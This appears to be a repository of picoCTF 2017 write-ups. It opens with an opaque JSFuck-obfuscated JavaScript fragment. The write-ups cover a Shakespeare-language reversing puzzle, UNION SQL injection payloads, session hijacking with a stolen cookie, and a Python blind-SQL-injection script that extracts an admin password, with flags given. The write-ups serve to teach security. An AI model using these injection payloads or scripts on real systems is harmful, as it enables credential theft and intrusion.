[]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]])+[!+[]+!+[]+!+[]+!+[]]+[]+[!+[]+!+[]]+[]+(![]+[])[+[]]+[+[]]+[]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[]+[!+[]+!+[]]+[]+[+[]]+[]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() -------------------------------------------------------------------------------- /level-3/reverse-engineering/much-ado-about-hacking/README.md: -------------------------------------------------------------------------------- 1 | # Much Ado About Hacking 2 | ## level 3 - reverse engineering - 165 points 3 | 4 | ### Description 5 | > In a lonely file, you find [prose](./data/MuchAdoAboutHacking.spl) written in an interesting style. What is this Shakespearean play? What does it have to say? How could one get it to produce this [ending](./data/ending.txt)? 6 | 7 | ### Hints 8 | > * Some would say that Shakespearean english is an... esoteric language 9 | > * I swear that this play compiles. However, there are different versions of the shakespeare language. If you get errors when you run spl2c on MuchAdoAboutHacking, then you need to use a different version of the language. There is a fixed version of the language here: https://stackoverflow.com/questions/1948372/compiling-and-executing-the-shakespeare-programming-language-translator-spl2c-on 10 | 11 | ### Solution 12 | 13 | Ok, this is the most insane challenge I encountered in my (limited) CTF career. I knew about Shakespeare programming language, it's an esoteric language born cleary as a joke, but its specifications are at the same time hilarious and terrible. 14 | 15 | Let's look at `MuchAdoAboutHacking.spl`. The first part of the program is the title at the top and the character list: they are the variables used in the program. Descriptions are just decorative. Variable names must be characters playing in a Shakespeare operas, or the compiler will output an error. 16 | 17 | Then we have the acts and the scenes, they *act* as labels for `goto`s instruction. Titles are purely decorative too. 18 | 19 | In every scene we have the stage, in which the characters enter (line 15, command `[Enter Beatrice and Don John]`). Then the characters can modify themselves or each other speaking on the stage: you can assign a variable to zero (`You are nothing!`) or set to a number. 20 | 21 | The number calculation is the craziest thing of all: if the first adjective is positive or neutral the base is 1, instead if it's negative is -1. In line 30 (`You are as proud as...`) the base is 1. Then count the other adjectives and for each of those multiply by 2. Take the line 30: `You are as proud as a bold brave gentle noble amazing hero.` in pseudocode translates as `Achilles = 2 * 2 * 2 * 2 * 2` so 32. 22 | 23 | Conditionals are made simply asking: `Am I` (line 51) or `Are you` (line 96) must be answered by another character on stage, starting with `If so,...`. 24 | 25 | Another thing: the character are at the same time variables and stacks. You can push into this stack using `Remember...` (line 47) and pop with `Recall...` (line 60). 26 | 27 | To read from `stdin` you have to use `Listen to your heart` (not used in the program) to read a number and `Open your mind!` (line 47) to read an ASCII character. Similarly you can use `Open your heart` to print a number and `Speak your mind` (line 93) to print the ASCII character. 28 | 29 | I tried to run it locally, but after a couple of tentatives I chose to rewrite the program in Python: 30 | 31 | ```python 32 | import string 33 | 34 | INPUT = 'tu1|\h+&g\OP7@% :BH7M6m3g=' 35 | INPUT_INDEX = 0 36 | OUT = '' 37 | 38 | class Character: 39 | def __init__(self): 40 | self.value = 0 41 | self.stack = [] 42 | 43 | def push(self, val): 44 | self.stack.append(val) 45 | 46 | def pop(self): 47 | return self.stack.pop() 48 | 49 | def __str__(self): 50 | return str(self.value) + ' ' + str(self.stack) 51 | 52 | def print_string(self): 53 | print string.join(list(chr(x) for x in self.stack), '') 54 | 55 | benedick = Character() 56 | beatrice = Character() 57 | don_pedro = Character() 58 | don_john = Character() 59 | achilles = Character() 60 | cleopatra = Character() 61 | 62 | def scene1(): 63 | don_john.value = 0 64 | don_pedro.value = 0 65 | achilles.value = 32 66 | cleopatra.value = 128 - achilles.value 67 | benedick.value = 0 68 | 69 | def scene2(): 70 | global INPUT, INPUT_INDEX 71 | c = ord(INPUT[INPUT_INDEX]) 72 | INPUT_INDEX += 1 73 | 74 | benedick.value = c 75 | benedick.push(c) 76 | beatrice.value += 1 77 | 78 | if benedick.value != 32: 79 | scene2() 80 | else: 81 | beatrice.value -= 1 82 | benedick.pop() 83 | 84 | def scene3(): 85 | global OUT 86 | 87 | benedick.value = benedick.pop() 88 | benedick.value -= achilles.value 89 | beatrice.value -= 1 90 | don_john.value = benedick.value 91 | benedick.value += don_pedro.value 92 | benedick.value = benedick.value % cleopatra.value 93 | don_pedro.value = don_john.value 94 | 95 | benedick.value += achilles.value 96 | OUT += chr(benedick.value) 97 | 98 | if beatrice.value > 0: 99 | scene3() 100 | 101 | scene1() 102 | scene2() 103 | scene3() 104 | 105 | print OUT 106 | ``` 107 | 108 | So, after a first rewrite you can extract the useful things, and write *another* Python script. For every character in the input strings get the ASCII number, subtract the ASCII value of the previous character, add 32 and print into output: 109 | 110 | ```python 111 | INPUT = 'tu1|\h+&g\OP7@% :BH7M6m3g=' 112 | 113 | temp = 0 114 | out = '' 115 | 116 | for c in INPUT: 117 | i = ord(c) - 32 118 | i -= temp 119 | 120 | if i <= 0: 121 | i += 96 122 | 123 | out += chr(i + 32) 124 | temp = i 125 | 126 | print out[::-1] 127 | ``` 128 | 129 | Run it to retrieve the flag. 130 | 131 | ### Flag 132 | ``` 133 | Its@MidSuMm3rNights3xpl0!t 134 | ``` -------------------------------------------------------------------------------- /level-3/reverse-engineering/much-ado-about-hacking/data/MuchAdoAboutHacking.spl: -------------------------------------------------------------------------------- 1 | Much Ado About Hacking. 2 | 3 | Benedick, a budding young hacker. 4 | Beatrice, a veteran exploiter. 5 | Don Pedro, a good friend of the others. 6 | Don John, he is just kinda there. 7 | Achilles, I thought he was from Greece. 8 | Cleopatra, now this is just getting ridiculous. 9 | 10 | 11 | Act I: Also the last act. 12 | 13 | Scene I: Benedick learns his place. 14 | 15 | [Enter Beatrice and Don John] 16 | 17 | Beatrice: 18 | You are nothing! 19 | 20 | [Exit Don John] 21 | [Enter Don Pedro] 22 | 23 | Beatrice: 24 | You are nothing! 25 | 26 | [Exit Don Pedro] 27 | [Enter Achilles] 28 | 29 | Beatrice: 30 | You are as proud as a bold brave gentle noble amazing hero. 31 | 32 | [Exit Achilles] 33 | [Enter Cleopatra] 34 | 35 | Beatrice: 36 | You are as vile as the difference between a beautiful gentle bold fair peaceful sunny lovely flower and Achilles. 37 | 38 | [Exit Cleopatra] 39 | [Enter Benedick] 40 | 41 | Beatrice: 42 | You are nothing! 43 | 44 | Scene II: Benedick strengthens his memory. 45 | 46 | Beatrice: 47 | Open your mind! Remember yourself. 48 | 49 | Benedick: 50 | You are as red as the sum of yourself and a tree. 51 | Am I as lovely as a cunning charming honest peaceful bold pony? 52 | 53 | Beatrice: 54 | If not, let us return to scene II. 55 | 56 | Benedick: 57 | You are as worried as the sum of yourself and a Microsoft. 58 | 59 | Beatrice: 60 | Recall your father's disappointment! 61 | 62 | Scene III: Benedick teaches his friends about hacking. 63 | 64 | Beatrice: 65 | Recall your latest blunder! You are as smelly as the difference between yourself and Achilles. 66 | 67 | Benedick: 68 | You are as disgusting as the sum of yourself and a flirt-gill! 69 | 70 | [Exit Beatrice] 71 | [Enter Don John] 72 | 73 | Benedick: 74 | Thou art as damned as I. 75 | 76 | [Exit Don John] 77 | [Enter Don Pedro] 78 | 79 | Don Pedro: 80 | You are as rotten as the sum of yourself and myself. 81 | Thou art as normal as the remainder of the quotient between thyself and Cleopatra. 82 | 83 | [Exit Benedick] 84 | [Enter Don John] 85 | 86 | Don John: 87 | You are as good as I. 88 | 89 | [Exeunt] 90 | [Enter Beatrice and Benedick] 91 | 92 | Beatrice: 93 | You are as foul as the sum of yourself and Achilles. Speak your mind! 94 | 95 | Benedick: 96 | Are you better than nothing? 97 | 98 | Beatrice: 99 | If so, let us return to scene III. 100 | 101 | [Exeunt] 102 | 103 | -------------------------------------------------------------------------------- /level-3/reverse-engineering/much-ado-about-hacking/data/ending.txt: -------------------------------------------------------------------------------- 1 | tu1|\h+&g\OP7@% :BH7M6m3g= 2 | -------------------------------------------------------------------------------- /level-3/web-exploitation/a-happy-union/README.md: -------------------------------------------------------------------------------- 1 | # A Happy Union 2 | ## level 3 - web exploitation - 110 points 3 | 4 | ### Description 5 | > I really need access to [website](http://shell2017.picoctf.com:41558/), but I forgot my password and there is no reset. Can you help? I like lite sql :) 6 | 7 | ### Hints 8 | > * A SQL union allows a single query to select values from multiples tables. 9 | 10 | ### Solution 11 | 12 | Open the website. The first thing I tried is SQL injection on login form submitting `'` as username and password. It gave me `User/Password not Found.`, so it's protected. Let's try the same parameters on the register form: it says account created, now try to login with this account, it will give us an error with the executed query: 13 | 14 | ```sql 15 | select id, user, post from posts where user = '''; 16 | ``` 17 | 18 | The pattern we have to do to inject is register an account using the query as username and a random password then login with that: the result of the injected query will be reflected on posts table. 19 | 20 | We can use `UNION` to retrieve data from other tables. We know from the description that the database is SQLite, so let's try to get the table list with the username `' union select * from sqlite_master --` and a random password. On login it gave me this query error: 21 | 22 | ```sql 23 | select id, user, post from posts where user = '' union select * from sqlite_master --'; 24 | ``` 25 | 26 | The query will return an error because we have to specify exactly three columns, the same of the first part of the query, on the union. Modify the injected query with `' union select name, null, null from sqlite_master --` and try again. 27 | 28 | We have three tables: `posts`, `sqlite_sequence` and `users`, the latter is the one that interest us. Now I guessed the column names, I tried several combinations: 29 | 30 | * `' union select username, password, null from users --` 31 | * `' union select user, password, null from users --` 32 | * `' union select username, pass, null from users --` 33 | * `' union select user, pass, null from users --` 34 | 35 | The last one will work for us, and the password field of admin account will contain the flag. 36 | 37 | ### Flag 38 | ``` 39 | flag{union?_why_not_onion_b6e6a3cd8e3f1fe5f6109d1618bddbd1} 40 | ``` -------------------------------------------------------------------------------- /level-3/web-exploitation/biscuits/README.md: -------------------------------------------------------------------------------- 1 | # Biscuits 2 | ## level 3 - web exploitation - 75 points 3 | 4 | ### Description 5 | > Your friend has a personal website. Fortunately for you, he is a bit of a noob when it comes to hosting a website. Can you find out what he is hiding? [Website](http://shell2017.picoctf.com:30027/). 6 | 7 | ### Hints 8 | > * Viewing the source of the website is usually a good start. 9 | 10 | ### Solution 11 | 12 | Open the source of the website to get other hints: 13 | 14 | ```html 15 | 16 | 17 | ``` 18 | 19 | The CSS included give us the final hint about the file `cookies.sqlite` is located: 20 | 21 | ```css 22 | body{ 23 | background-image: url("private/image.png"); 24 | } 25 | ``` 26 | 27 | The cookies database is located in `http://shell2017.picoctf.com:30027/private/cookies.sqlite`. Download it and use `sqlite3` to get informations: 28 | 29 | ``` 30 | $ sqlite3 cookies.sqlite ".tables" 31 | moz_cookies 32 | ``` 33 | 34 | There is just one table, lets get the schema: 35 | 36 | ``` 37 | $ sqlite3 cookies.sqlite ".schema moz_cookies" 38 | CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, appId INTEGER DEFAULT 0, inBrowserElement INTEGER DEFAULT 0, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path, appId, inBrowserElement)); 39 | CREATE INDEX moz_basedomain ON moz_cookies (baseDomain, appId, inBrowserElement); 40 | ``` 41 | 42 | Now we can query just the elements we guess to be useful: 43 | 44 | ``` 45 | $ sqlite3 cookies.sqlite "SELECT id, baseDomain, value FROM moz_cookies" 46 | 1|localhost|F3MAqpWxIvESiUNLHsflVd 47 | ``` 48 | 49 | Good, we have a cookies. Open the web inspector and change the `ID` cookies property with the one found in database. Refresh the page to retrieve the flag. 50 | 51 | ### Flag 52 | ``` 53 | e5cd648b3f7e254fa0c384e6757233f7 54 | ``` -------------------------------------------------------------------------------- /level-3/web-exploitation/no-eyes/README.md: -------------------------------------------------------------------------------- 1 | # No Eyes 2 | ## level 3 - web exploitation - 125 points 3 | 4 | ### Description 5 | > The [website](http://shell2017.picoctf.com:33838/) isn't really me much, but you can still get the admin password, right? 6 | 7 | ### Hints 8 | > * Sometimes an error message can be just as useful. 9 | 10 | ### Solution 11 | 12 | Open the website and use `admin` as username and `'` as password, this will trigger an error printing the executed query: 13 | 14 | ```sql 15 | select * from users where pass = '''; 16 | ``` 17 | 18 | So we can inject arbitrary SQL. Let's try with `' OR 1 = 1 --` as password. It will trigger this error: 19 | 20 | ``` 21 | Login Functionality Not Complete. Flag is 63 characters 22 | ``` 23 | 24 | We actually have passed the password check, but the login function is not implemented. As suggested from the title and the hint we can perform a [blind SQL injection attack](https://www.owasp.org/index.php/Blind_SQL_Injection) on password field. I used Python to automate the process: 25 | 26 | ```python 27 | import requests, string 28 | 29 | URL = 'http://shell2017.picoctf.com:33838/' 30 | 31 | characters = ''.join([string.lowercase, string.digits, '_']) 32 | current = '' 33 | 34 | for i in range(0, 63 - len(current)): 35 | for char in characters: 36 | data = { 37 | 'username': 'admin', 38 | 'password': '\' OR pass LIKE "%s%s%%" --' % (current, char) 39 | } 40 | 41 | r = requests.post(URL, data=data) 42 | if 'Login Functionality' in r.text: 43 | current += char 44 | print 'Password: %s' % current 45 | break 46 | 47 | print 'DONE!' 48 | ``` 49 | 50 | It will try every character until the login is successful, concatenate the letter we found, then pass to the next one. It will run for 63 cycles as said from the login error we saw. It will take some time and probably it will fail: in this case you can copy the last found password (outputted on screen) and paste in line 6 to resume: 51 | 52 | ``` 53 | $ python blind.py 54 | Password: n 55 | Password: no 56 | Password: not 57 | ... 58 | Password: not_all_errors_should_be_shown_07fa15beae68af0694171000114ec4 59 | Password: not_all_errors_should_be_shown_07fa15beae68af0694171000114ec41 60 | Password: not_all_errors_should_be_shown_07fa15beae68af0694171000114ec419 61 | DONE! 62 | ``` 63 | 64 | ### Flag 65 | ``` 66 | not_all_errors_should_be_shown_07fa15beae68af0694171000114ec419 67 | ``` --------------------------------------------------------------------------------